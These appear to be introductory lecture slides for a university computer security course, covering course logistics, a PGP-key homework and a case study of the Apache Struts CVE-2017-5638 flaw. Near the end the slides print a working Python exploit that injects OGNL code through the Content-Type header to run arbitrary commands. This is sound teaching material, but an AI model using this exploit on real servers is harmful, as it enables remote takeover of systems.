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Instructor and TAs

❖ Instructor: Kirill Levchenko
• Email: klevchen@cs.ucsd.edu

• Office hours: Tuesdays 3:00 PM in CSE/EBU3b 3234

❖ TAs: Brian Johannesmeyer and Guo Li

• Email: cs127f1@ieng6.ucsd.edu
• Office hours: Mondays 4:00 PM in CSE/EBU3b B215

• Office hours: Tuesdays 3:00 PM in CSE/EBU3b B215



Time and Place
❖ Lecture

• Tuesdays and Thursdays 8:00 AM to 9:20 AM

• Solís Hall 107

❖ Discussion
• Fridays 5:00 PM to 5:50 PM

• WLH 2005

❖ Final exam
• Wednesday, December 12, 8:00 AM to 11:59 AM

• Location TBA



Web

❖ Class site
• https://cseweb.ucsd.edu/classes/fa17/cse127-b

• Readings and homework assignments will be posted here

❖ Piazza site
• https://piazza.com/ucsd/fall2017/cse127/home

• Instructor and TAs will monitor site and respond to comments

• For urgent matters, contact instructor or TAs directly



Class Goals

❖ Analyze systems and problems adversarially

• Takes practice and a certain frame of mind

• You will learn to do this

❖ Know the state of the art in attacks and defenses

• Not enough time to cover everything
• You will have learn the rest as you need it in practice

• Security evolves rapidly
• You must keep current of latest developments



CSE 127: Computer Security Fall 2017

Syllabus

1 Course Information

Main site: https://cseweb.ucsd.edu/classes/fa17/cse127-b

Piazza: https://piazza.com/ucsd/fall2017/cse127/home

Lecture: Tuesdays and Thursdays, 8:00 A.M. to 9:20 A.M., Solı́s Hall 107.

Discussion: Fridays, 5:00 P.M., WLH 2005.

Final exam: Tuesday, December 12, 8:00 A.M. to 11:59 A.M., location TBD.

Instructor: Kirill Levchenko

Email: klevchen@cs.ucsd.edu

Office hours: Tuesdays at 3:00 P.M. in CSE/EBU3b 3234

Teaching Assistant: Brian Johannesmeyer and Guo Li

Email: cse127f1@ieng6.ucsd.edu

Office hours: Mondays at 4:00 P.M. in CSE/EBU3b B215 and

Thursdays at 1:00 P.M. in CSE/EBU3b B215

2 Goals and Topics

The goal of this class is to teach you how to analyze systems and problems adversarially, as well as to teach

you the state of the art in computer security attacks in defenses. We will cover the following topics:

❖ Core concepts (3 lectures)

❖ Web security (3 lectures)

❖ Low-level security (3 lectures)

❖ Using cryptography (3 lectures)

❖ Network security (3 lectures)

❖ Miscellaneous (3 lecture)

3 Prerequisites

There are two prerequisites: CSE 21 (or Math 15B) and CSE 120. Your programming assignments will

require knowledge of C, Python, SQL, and assembly language. We will not teach these in class. You will be

expected to learn them on your own.

1



Lectures

❖ Lecture slides will generally be available online

❖ Complete assigned readings before lecture

• We will use lecture time to discuss the material



Prerequisites

❖ CSE 21 (or Math15B) and CSE 120

❖ You will need to know C, PHP, SQL, and assembly 
language to complete your assignments

• Not as scary as it sounds

❖ You will need to be both the hedgehog and the fox

“The fox knows many things, but the hedgehog
  knows one big thing.” — Archilochus (ca. 650 BC)



Textbook

❖ There is no textbook for the class

❖ Some readings will be assigned 
from Ross Anderson’s Security 
Engineering available online free

• http://www.cl.cam.ac.uk/
~rja14/book.html



Grading

❖ 9 homework assignments (50% of grade)

❖ Midterm on November 2 (20% of grade)

❖ Final exam on December 12 (30% of grade)



Homework Policy

❖ Homework due on date and time indicated

• Homework 1: due in person October 3 by 4 PM

❖ Homework 2 through 9 must be submitted electronically

• Email with PGP signature (see Homework 1)

❖ You have seven 24-hour extensions

• Debited in 24-hour increments when homework is late

• When you run out extensions, homework will not be accepted

• No other extensions will be granted



Academic Integrity
❖ Read and understand UC San Diego policy

• http://academicintegrity.ucsd.edu

❖ There will be zero tolerance for cheating

• Computer security requires the utmost individual integrity

❖ Is posting your solutions to homework and exam 
problems allowed?







Academic Integrity
❖ Read and understand UC San Diego policy

• http://academicintegrity.ucsd.edu

❖ There will be zero tolerance for cheating

• Computer security requires the utmost individual integrity

❖ Is posting your solutions to homework and exam 
problems allowed? No.

❖ Allowed collaboration and use of external resources will 
be indicated on each assignment

• Not sure? Ask your instructor!



Homework 1

❖ Due in person
by 4 PM on October 3

❖ Academic integrity

❖ Laws and ethics

❖ PGP key

CSE 127: Computer Security Fall 2017

Assignment 1
0 pts

This assignment has three parts. You must complete all three parts, then fill out and sign the second

page of this assignment. Turn in the filled out and signed second page to your instructor or one of your

TAs by 4 P.M. on October 3. You must present your student ID card when you turn in this assignment. This

assignment is worth no points, however, all assignments will be considered late until this assignment is

submitted to one of your TAs in person (with student ID). Note that you are also debited late days (see

Section 5 of the Syllabus) if your assignment is late.

1 UCSD Policy on Integrity of Scholarship

Read and understand the UCSD Policy on academic integrity, which can be found at:

http://academicintegrity.ucsd.edu

Cheating will not be tolerated. Administrative and academic sanctions will be pursued to their fullest

extent for students found cheating.

2 Computer Security Laws and Ethics

Computer security involves techniques that can be easily used in an illegal or unethical manner. Therefore,

computer security researchers and practitioners must take special care to ensure their actions do not violate

the law or cause harm to others. You should understand the main points of the following laws, which we

will also cover in class later in the course:

1. The Computer Fraud and Abuse Act (18 U.S. Code § 1030).

2. The Digital Millenium Copyright Act (multiple sections of U.S. Code).

3. United States wiretapping law (18 U.S. Code §§ 2510–2522).

3 PGP Key

The last part of your assignment is to generate a PGP key which you will use to sign all your assignments.

We recommend using GNU Privacy Guard (GPG), however, you may use any OpenPGP-compatible soft-

ware. An excellent guide to using GPG can be found at:

https://www.gnupg.org/documentation/guides.html

We strongly recommend encrypting your private key with a password and storing it securely. After you

have generated your key, write your public key fingerprint on the space provided on the second page. Then

hand it in to your instructor or TAs. You must present your student ID to the TA or instructor when you hand in
this assignment. Finally, email the public key to cs127f1@ieng6.ucsd.edu using the “ASCII” format. You

may encrypt your public key file to the cs127f1@ieng6.ucsd.edu key.



Homework 1

❖ Understand UCSD Policy on Integrity of Scholarship

❖ Understand that misusing what you learn in this class 
may have legal and ethical consequences

❖ Generate a PGP key you will use to sign all homework

• Subsequent work will not be accepted without PGP signature!



Homework 1: PGP keys

❖ Present ID in person when you hand it in

CSE 127: Computer Security Fall 2017

Assignment 1
0 pts

This assignment has three parts. You must complete all three parts, then fill out and sign the second

page of this assignment. Turn in the filled out and signed second page to your instructor or one of your

TAs by 4 P.M. on October 3. You must present your student ID card when you turn in this assignment. This

assignment is worth no points, however, all assignments will be considered late until this assignment is

submitted to one of your TAs in person (with student ID). Note that you are also debited late days (see

Section 5 of the Syllabus) if your assignment is late.

1 UCSD Policy on Integrity of Scholarship

Read and understand the UCSD Policy on academic integrity, which can be found at:

http://academicintegrity.ucsd.edu

Cheating will not be tolerated. Administrative and academic sanctions will be pursued to their fullest

extent for students found cheating.

2 Computer Security Laws and Ethics

Computer security involves techniques that can be easily used in an illegal or unethical manner. Therefore,

computer security researchers and practitioners must take special care to ensure their actions do not violate

the law or cause harm to others. You should understand the main points of the following laws, which we

will also cover in class later in the course:

1. The Computer Fraud and Abuse Act (18 U.S. Code § 1030).

2. The Digital Millenium Copyright Act (multiple sections of U.S. Code).

3. United States wiretapping law (18 U.S. Code §§ 2510–2522).

3 PGP Key

The last part of your assignment is to generate a PGP key which you will use to sign all your assignments.

We recommend using GNU Privacy Guard (GPG), however, you may use any OpenPGP-compatible soft-

ware. An excellent guide to using GPG can be found at:

https://www.gnupg.org/documentation/guides.html

We strongly recommend encrypting your private key with a password and storing it securely. After you

have generated your key, write your public key fingerprint on the space provided on the second page. Then

hand it in to your instructor or TAs. You must present your student ID to the TA or instructor when you hand in
this assignment. Finally, email the public key to cs127f1@ieng6.ucsd.edu using the “ASCII” format. You

may encrypt your public key file to the cs127f1@ieng6.ucsd.edu key.



What is PGP?

❖ Suite of tools for securing 
electronic communication
• Integrity and secrecy

❖ We will study PGP and 
cryptography later in class

❖ Read the GNU Privacy 
Handbook to learn more

• It’s okay if you don’t understand 
all of it yet



Homework 2

❖ Cool Web application

❖ Will be posted soon

❖ Due Oct 10 at 10 PM

• PGP signed

• PGP encrypted

• Via email

















What went 
wrong?



CVE-2017-5638

❖ Vulnerability in Jakarta Multipart Parser in Struts

❖ Used to handle multipart/form-data content

❖ Interprets user-supplied input as OGNL code

❖ Gives attacker remote code execution

❖ Good analysis of vulnerability
https://blog.gdssecurity.com/labs/2017/3/27/an-analysis-of-cve-2017-5638.html









<div class="profile_photo">
  <div class="upload_photo">
! <div class="white_border">
!   <img id='thumb2' src='/images/userprofile/default-user.jpg'

alt='Kirill Levchenko' />
! </div>
! <div class="overlay">
!   <form method="POST"

action="/upload/upload_photo?uid=i078v50foiw3hy"
enctype="multipart/form-data"
target="hidden-upload-frame" id="uploadForm">

! ! <label for="user_photo" ng-click="user_has_pic = true;">Change Picture</label>
! ! <input type="file" size="7" id="user_photo" name="user[photo]"/>
!   </form>
! </div>             
  </div>
  <iframe id="hidden-upload-frame" name="hidden-upload-frame" style="display: none" 
onload="onUploadComplete()"></iframe>
</div>

Multipart Form Data



Multipart POST Request
POST https://piazza.com/upload/upload_photo?uid=i078v50foiw3hy HTTP/1.1
Host: piazza.com
User-Agent: Mozilla/5.0 …
Accept: text/html, …
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://piazza.com/account_settings
Cookie: piazza_session="yLKDuLI …
Connection: keep-alive
Content-Type: multipart/form-data; 
boundary=---------------------------15393624981330008477295191316
Content-Length: 21774

-----------------------------15393624981330008477295191316
Content-Disposition: form-data; name="user[photo]"; 
filename="picture.jpg"
Content-Type: image/jpeg

…



Struts Architecture



public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
! // don't wrap more than once
! if (request instanceof StrutsRequestWrapper) {
! ! return request;
! }

! String content_type = request.getContentType();
! if (content_type != null && content_type.contains("multipart/form-data")) {
! ! MultiPartRequest mpr = getMultiPartRequest();
! ! LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
! ! request = new MultiPartRequestWrapper(mpr, request, …);
! } else {
! ! request = new StrutsRequestWrapper(request, …);
! }

! return request;
}

struts/core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java



public void parse(HttpServletRequest request, String saveDir) throws IOException {
! try {
! ! setLocale(request);
! ! processUpload(request, saveDir);
! } catch (FileUploadException e) {
! ! LOG.warn("Request exceeded size limit!", e);
! ! LocalizedMessage errorMessage;
! ! if(e instanceof FileUploadBase.SizeLimitExceededException) {
! ! ! FileUploadBase.SizeLimitExceededException ex =

(FileUploadBase.SizeLimitExceededException) e;
! ! ! errorMessage = buildErrorMessage(e,

new Object[]{ex.getPermittedSize(), ex.getActualSize()});
! ! } else {
! ! ! errorMessage = buildErrorMessage(e, new Object[]{});
! ! }

! ! if (!errors.contains(errorMessage)) {
! ! ! errors.add(errorMessage);
! ! }
! } catch (Exception e) {
! ! LOG.warn("Unable to parse request", e);
! ! LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});
! ! if (!errors.contains(errorMessage)) {
! ! ! errors.add(errorMessage);
! ! }
! }
}

struts/core/src/main/java/org/apache/struts2/dispatcher/JakartaMultiPartRequest.java



protected LocalizedMessage buildErrorMessage(Throwable e, Object[] args) {
! String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
! LOG.debug("Preparing error message for key: [{}]", errorKey);

! return new LocalizedMessage(this.getClass(), errorKey, e.getMessage(), args);
}

struts/core/src/main/java/org/apache/struts2/dispatcher/AbstractMultiPartRequest.java

❖ Contains Content-Type header in error message

❖ Becomes defaultMessage element of LocalizedMessage



MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors()) {
! for (LocalizedMessage error : multiWrapper.getErrors()) {
! ! if (validation != null) {
! ! ! validation.addActionError(
! ! ! ! LocalizedTextUtil.findText(
! ! ! ! ! error.getClazz(), error.getTextKey(),
! ! ! ! ! ActionContext.getContext().getLocale(),
! ! ! ! ! error.getDefaultMessage(), error.getArgs()));
! ! }
! }
}

struts/core/src/main/java/org/apache/struts2/dispatcher/AbstractMultiPartRequest.java



private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, 
ValueStack valueStack, Object[] args,String defaultMessage) {
! GetDefaultMessageReturnArg result = null;
! boolean found = true;

! if (key != null) {
! ! String message = findDefaultText(key, locale);

! ! if (message == null) {
! ! ! message = defaultMessage;
! ! ! found = false; // not found in bundles
! ! }

! ! // defaultMessage may be null
! ! if (message != null) {
! ! ! MessageFormat mf = buildMessageFormat(
! ! ! ! TextParseUtil.translateVariables(message, valueStack),
! ! ! ! locale);

! ! ! String msg = formatWithNullDetection(mf, args);
! ! ! result = new GetDefaultMessageReturnArg(msg, found);
! ! }
! }

! return result;
}

struts/core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java

Anything within ${...} will be treated as an 
OGNL expression and evaluated as such.





Object Graph Navigation Language

❖ Expression language for getting and setting properties of 
classes via getXXX and setXXX methods

❖ Used to insert values of variables into HTML

• E.g. <s:property value="postalCode"/>

❖ Can be used to call Java methods



Exploit Strategy

❖ Insert OGNL code in Content-Type header

❖ Code must be enclosed in ${…}

❖ Content-Type must include the string
multipart/form-data



${(#_='multipart/form-data').
(#p=new java.lang.ProcessBuilder(…))

Constructs a process builder with the specified 
operating system program and arguments. This is 
a convenience constructor that sets the process 
builder's command to a string list containing the 
same strings as the command array, in the same 
order. It is not checked whether command 
corresponds to a valid operating system 
command.



#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib

def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page



Demo



Through Darkness Light

❖ What did we learn from this?

❖ How do we make sure it doesn’t happen?

❖ How do we mitigate security risks?



Questions?


